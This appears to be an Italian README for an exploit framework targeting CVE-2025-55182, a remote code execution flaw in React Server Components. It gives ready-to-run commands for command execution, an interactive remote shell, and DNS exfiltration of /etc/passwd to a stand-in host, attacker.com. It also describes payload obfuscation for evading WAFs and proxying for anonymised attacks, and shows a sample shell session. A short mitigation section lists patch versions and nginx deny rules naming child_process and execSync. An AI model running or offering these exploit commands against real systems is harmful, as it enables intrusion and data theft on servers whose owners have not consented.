
Scanner RCE avanzato per React Server Components per CVE-2025-55182. Funzionalità: fingerprinting multi-stadio, verifica della vulnerabilità, esfiltrazione DNS, shell interattiva, offuscamento del payload e reportistica professionale (JSON/HTML/PDF). Solo test autorizzati.
Questo strumento è progettato esclusivamente per scopi EDUCATIVI e di TEST DI SICUREZZA AUTORIZZATO. L'utilizzo non autorizzato di questo software contro target privi di previo consenso scritto costituisce una violazione delle leggi internazionali sui crimini informatici, tra cui il Computer Fraud and Abuse Act (CFAA), i mandati GDPR e i termini di servizio standard. L'autore e i contributori declinano ogni responsabilità per qualsiasi uso improprio, operazione illegale o danno consequenziale derivante da questo programma. Procedere rigorosamente a proprio rischio.
ReactRCE-Scanner è un framework di valutazione e verifica della sicurezza di livello enterprise progettato specificamente per CVE-2025-55182 [1], una vulnerabilità critica di Remote Code Execution (RCE) che interessa i React Server Components nelle versioni da 19.0.0 a 19.2.0.
Il framework colma il divario tra la ricerca teorica sulle vulnerabilità e la validazione pratica della sicurezza. Integrando fingerprinting multi-stadio, rigorosa riduzione dei falsi positivi, offuscamento avanzato dei payload e reportistica automatizzata multi-formato, fornisce agli ingegneri della sicurezza capacità diagnostiche precise.
| Utilizzo | Risultati della scansione |
|---|---|
| Categoria di funzionalità | Punto di forza dell'implementazione | Stato operativo |
|---|---|---|
| Fingerprinting intelligente | Rilevamento multi-sorgente di framework e versione con algoritmi di scoring della confidenza. | ✅ |
| Verifica multi-stadio | Pipeline di validazione a 5 stadi progettata per eliminare sistematicamente i falsi positivi. | ✅ |
| Generazione di payload | Generatore di payload offuscati con supporto a esfiltrazione DNS e multi-encoding. | ✅ |
| Shell interattiva | Esecuzione di comandi pseudo-interattiva in tempo reale e accesso alla shell su target verificati. | ✅ |
| Reportistica completa | Generazione automatizzata di report in formato JSON, HTML, PDF e Markdown. | ✅ |
| Esfiltrazione DNS | Esfiltrazione out-of-band dell'output dei comandi tramite gestione sicura delle query DNS. | ✅ |
| Motore di concorrenza | Architettura di scansione multi-thread ad alte prestazioni per grandi superfici d'attacco. | ✅ |
| Integrazione proxy | Supporto proxy HTTP/HTTPS e SOCKS per traffico di valutazione anonimizzato. | ✅ |
Clonare il repository e inizializzare l'ambiente utilizzando lo script di setup automatizzato o l'installazione manuale delle dipendenze:
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit.git
cd CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit
# Configure execution permissions and run setup script
chmod +x setup.sh
./setup.sh
# Alternatively, install core Python dependencies manually
pip install -r requirements.txt
Il framework opera tramite un'architettura CLI modulare che supporta la validazione di un singolo target, la scansione in blocco da elenchi di file, l'avvio di shell interattive e la reportistica di conformità.
# 1. Perform a vulnerability scan against a single target
python exploit.py -t https://target.com -m scan
# 2. Execute bulk scans from a target list with JSON export
python exploit.py -f targets.txt -m scan -o report.json
# 3. Execute a single command on a verified vulnerable endpoint
python exploit.py -t https://target.com -m exploit -c "whoami"
# 4. Initiate an interactive remote shell session
python exploit.py -t https://target.com -m shell
# 5. Execute commands with out-of-band DNS exfiltration
python exploit.py -t https://target.com -m exploit -c "cat /etc/passwd" -d attacker.com
# 6. Compile a professional executive assessment report in PDF format
python exploit.py -f targets.txt -o assessment_report.pdf --format pdf
Il framework esegue una ricognizione approfondita prima della consegna del payload. Analizza molteplici campi degli header HTTP (X-Powered-By, Next-Action, RSC), meta tag strutturali HTML (data-reactroot, __NEXT_DATA__), asset di build statici e bundle sorgente JavaScript [2] [3].
I punteggi di confidenza sono classificati in quattro livelli:
CRITICAL (95%+): Molteplici indicatori ortogonali confermano versioni vulnerabili del runtime React Server Component.
HIGH (75–95%): Forti indicatori strutturali identificati con corrispondenza esatta della versione.
MEDIUM (50–75%): Marcatori parziali del framework presenti; richiesta verifica manuale.
LOW (<50%): Euristiche deboli rilevate; alta probabilità di falso positivo.
Per mantenere l'integrità operativa e prevenire interruzioni accidentali del servizio, i payload attraversano una rigorosa pipeline di validazione prima che qualsiasi fase di exploitation venga sbloccata.
Target URL / Endpoint
│
▼
[Stage 1] Framework & Header Detection
│
▼
[Stage 2] Component Version Analysis
│
▼
[Stage 3] Protocol Compatibility Check
│
▼
[Stage 4] Non-Destructive Safe Validation Request
│
▼
[Stage 5] Statistical Confidence Scoring
│
▼
Vulnerability Assessment Decision
Per testare i controlli difensivi e i Web Application Firewall (WAF), il framework integra un generatore avanzato di payload che supporta:
Schemi di codifica: Trasformazioni Base64, Esadecimale e Ottale.
Offuscamento strutturale: Suddivisione dinamica delle stringhe, iniezione di codice spazzatura e mappatura alternativa del metodo require.
Esfiltrazione Out-of-Band (OOB): Tunneling sicuro dei dati attraverso query DNS quando i canali di risposta diretti sono limitati.
Una volta stabilita con successo la sessione, gli operatori possono invocare un ambiente shell interattivo per l'enumerazione post-verifica.
$ python exploit.py -t https://target.com -m shell
[*] Initializing interactive shell session against https://target.com
[!] Type 'exit' to terminate the session.
shell> whoami
www-data
shell> uname -a
Linux ip-10-0-1-15 6.8.0-1018-aws #20-Ubuntu SMP PREMO__X64 x86_64 GNU/Linux
shell> exit
[*] Terminating session and cleaning up temporary artifacts...
I report possono essere generati in molteplici formati standardizzati (JSON, HTML, PDF, Markdown) contenenti sommari esecutivi, metriche di rischio, risultati tecnici dettagliati, timeline delle evidenze e analisi del punteggio CVSS v3.1 [4].
I parametri avanzati sono gestiti tramite il file di configurazione config.yaml. Di seguito è riportato un template di configurazione di produzione:
# ReactRCE-Scanner Production Configuration
timeout: 30
threads: 20
max_retries: 3
proxy: null
user_agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
headers:
Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"
Accept-Language: "en-US,en;q=0.5"
Accept-Encoding: "gzip, deflate, br"
output:
format: "json"
directory: "./reports"
logging:
level: "INFO"
file: "exploit.log"
exploit:
obfuscate: true
encoding: "base64"
timeout: 60
scanning:
concurrent_scans: 20
rate_limit: 0.5
timeout: 30
fingerprint:
enable_deep_analysis: true
follow_redirects: true
analyze_assets: true
Eseguire le scansioni facendo riferimento al file di configurazione personalizzato tramite:
python exploit.py -f targets.txt -C config.yaml -o report.json
Il repository include una suite completa di test unitari e di integrazione per garantire la stabilità dei moduli tra le release.
# Execute the complete automated test suite
python exploit.py --test
# Expected Output:
Running test suite...
✓ test_fingerprinting passed
✓ test_payload_generation passed
✓ test_config_loading passed
✓ test_verification passed
✓ test_report_generation passed
Tests passed: 5/5
Per i contributori che configurano un ambiente di sviluppo locale:
git clone https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit.git
cd CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit
pip install -r requirements-dev.txt
# Run pytest unit tests
pytest tests/
# Format and lint codebase
black exploit.py
flake8 exploit.py
Patching: Aggiornare immediatamente i pacchetti React alla versione 19.2.1 o superiore. Aggiornare le istanze Next.js alla versione 15.0.4+ [5].
Monitoraggio: Ispezionare i log di accesso HTTP per valori sospetti dell'header Next-Action e riferimenti a prototipi non validati (__proto__, constructor) [6].
Hardening di rete: Limitare le query DNS ricorsive in uscita dai server applicativi per prevenire l'esfiltrazione dei dati.
# Block prototype pollution and remote execution attempts in request bodies
if ($request_body ~* "__proto__") {
return 403;
}
if ($request_body ~* "constructor") {
return 403;
}
if ($request_body ~* "child_process") {
return 403;
}
if ($request_body ~* "execSync") {
return 403;
}
Contributi, richieste di funzionalità e segnalazioni di bug sono benvenuti. Si prega di attenersi al flusso di lavoro standard fork-and-pull request:
Effettuare il fork del repository (https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit/fork)
Creare il proprio branch di funzionalità (git checkout -b feature/AdvancedScannerModule)
Effettuare il commit delle modifiche (git commit -m 'Add advanced scanning heuristic')
Effettuare il push sul branch (git origin push feature/AdvancedScannerModule)
Aprire una Pull Request
Distribuito sotto MIT License. Consultare LICENSE per ulteriori informazioni.
Creato con precisione da CerberusMrXi Ultimo aggiornamento: Agosto 2026